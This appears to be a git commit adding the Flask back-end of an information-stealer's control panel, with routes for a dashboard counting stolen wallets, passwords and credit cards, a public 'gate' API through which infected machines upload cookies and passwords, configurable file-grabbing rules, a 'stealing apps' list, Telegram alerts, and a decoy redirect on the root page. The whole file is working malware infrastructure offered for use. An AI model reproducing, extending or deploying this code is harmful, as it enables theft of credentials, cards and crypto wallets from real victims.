initial commit
This commit is contained in:
+151
@@ -0,0 +1,151 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
# Лимер(ака лайтмен) лох:)
|
||||
|
||||
# Import modules
|
||||
from datetime import timedelta
|
||||
from flask import \
|
||||
Flask, session, render_template, redirect, url_for
|
||||
# Import packages
|
||||
from core.models.reports import Report
|
||||
from core.models.country import GetCountryStatistics
|
||||
from core.modules.sorter import SortReports
|
||||
from core.modules.searcher import SearchReports
|
||||
from core.modules.grabber import GetGrabberRules
|
||||
from core.modules.targets import GetAllTargetApps
|
||||
from core.modules.encryption import GetEncryptionKey
|
||||
from core.modules.telegram import GetTelegramCredentials
|
||||
from core.manager.api.public import public_api_handler
|
||||
from core.manager.api.private import \
|
||||
login_required, is_client_authorized, private_api_handler
|
||||
|
||||
# Create Flask application
|
||||
app = Flask(__name__)
|
||||
app.secret_key = b"hZ=@p33P&+Zt@F8E" # Session crypt key
|
||||
app.permanent_session_lifetime = timedelta(days=3) # Session expire time
|
||||
|
||||
# Redirect
|
||||
@app.route("/")
|
||||
def index():
|
||||
return redirect("http://www.staggeringbeauty.com", code=302)
|
||||
|
||||
# Login page
|
||||
@app.route("/login")
|
||||
def login():
|
||||
if is_client_authorized() is True:
|
||||
return redirect(url_for("dashboard"), code=302)
|
||||
# Render page
|
||||
return render_template("login.html")
|
||||
|
||||
# Dashboard
|
||||
# Sort reports (sort_option=date/count/country, reverse=1/0)
|
||||
# Find domains (search_domains=paypal.com, blockchain.com)
|
||||
@app.route("/dashboard")
|
||||
@login_required
|
||||
def dashboard():
|
||||
# Get all reports for current user
|
||||
reports = Report.GetReports(session["account"]["username"])
|
||||
# Sort and Search
|
||||
reports = SortReports(SearchReports(reports))
|
||||
# Get counter values
|
||||
count_wallets = sum(map(lambda r: r.counter["wallets"], reports))
|
||||
count_passwords = sum(map(lambda r: r.counter["passwords"], reports))
|
||||
count_credit_cards = sum(map(lambda r: r.counter["credit_cards"], reports))
|
||||
# Render page
|
||||
return render_template("dashboard.html",
|
||||
username=session["account"]["username"],
|
||||
counter_reports=len(reports),
|
||||
counter_wallets=count_wallets,
|
||||
counter_passwords=count_passwords,
|
||||
counter_credit_cards=count_credit_cards,
|
||||
reports=reports,
|
||||
)
|
||||
|
||||
# Statistics
|
||||
@app.route("/statistics")
|
||||
@login_required
|
||||
def statistics():
|
||||
# Get countries statistics
|
||||
reports = Report.GetReports(session["account"]["username"])
|
||||
stats = GetCountryStatistics(reports)
|
||||
# Render page
|
||||
return render_template("statistics.html",
|
||||
username=session["account"]["username"],
|
||||
stats=stats,
|
||||
logs_count=len(reports),
|
||||
)
|
||||
|
||||
# Cookies converter
|
||||
@app.route("/converter")
|
||||
@login_required
|
||||
def converter():
|
||||
return render_template("converter.html",
|
||||
username=session["account"]["username"],
|
||||
)
|
||||
|
||||
# Settings
|
||||
@app.route("/settings")
|
||||
@login_required
|
||||
def settings():
|
||||
usr = session["account"]["username"]
|
||||
token, ids = GetTelegramCredentials(usr)
|
||||
rules = GetGrabberRules(usr)
|
||||
return render_template("settings.html",
|
||||
username=usr,
|
||||
telegram_token=token,
|
||||
rc4_key=GetEncryptionKey(usr),
|
||||
ids_string=", ".join(ids),
|
||||
target_apps_options=GetAllTargetApps(usr),
|
||||
# Grabber
|
||||
table_paths=enumerate(rules["paths"]),
|
||||
extensions_area=", ".join(rules["extensions"]),
|
||||
max_file_size=rules["max_size"],
|
||||
)
|
||||
|
||||
|
||||
""" Rest API router
|
||||
1. register (username, password) - Register new user on server
|
||||
2. unregister [AUTH REQUIRED] - Delete account and reports
|
||||
3. login (username, password) - Login to user (Create session)
|
||||
4. logout [AUTH REQUIRED] - Logout from user (Close session)
|
||||
|
||||
5. get_reports (id optional arg) [AUTH REQUIRED]
|
||||
- Get user reports in JSON
|
||||
6. get_report (id) [AUTH REQUIRED] - Download zip report with passwords
|
||||
7. del_report (id) [AUTH REQUIRED] - Delete report from database and disk
|
||||
8. com_report (id, text) [AUTH REQUIRED] - Comment report
|
||||
|
||||
|
||||
|
||||
9. del_grabber_path (b64_value) - Delete grabber path from table
|
||||
10. new_grabber_path (b64_value) - Create grabber path for table
|
||||
11. set_grabber_extensions (json_list,
|
||||
size) - Set grabber extensions and max size
|
||||
12. change_password (old_password, new_password)
|
||||
13. change_encryption_key (rc4_key) - Change encryption key
|
||||
14. set_telegram_credentials (token, json_list) - Save telegram settings
|
||||
15. set_apps_collection_configuration (json_list) - Save stealing apps list
|
||||
"""
|
||||
@app.route("/api/<function>", methods=["GET", "POST"])
|
||||
def api(function):
|
||||
return private_api_handler(function)
|
||||
|
||||
|
||||
""" Rest API router
|
||||
1. fetch_options (username) - Get user options for new client
|
||||
2. send_report (username, data,
|
||||
counter, information
|
||||
cookies, passwords) - Upload new report
|
||||
"""
|
||||
@app.route("/gate/<function>", methods=["GET", "POST"])
|
||||
def gate(function):
|
||||
return public_api_handler(function)
|
||||
|
||||
# Run http server
|
||||
app.run(
|
||||
host="0.0.0.0",
|
||||
port=5050,
|
||||
debug=False,
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user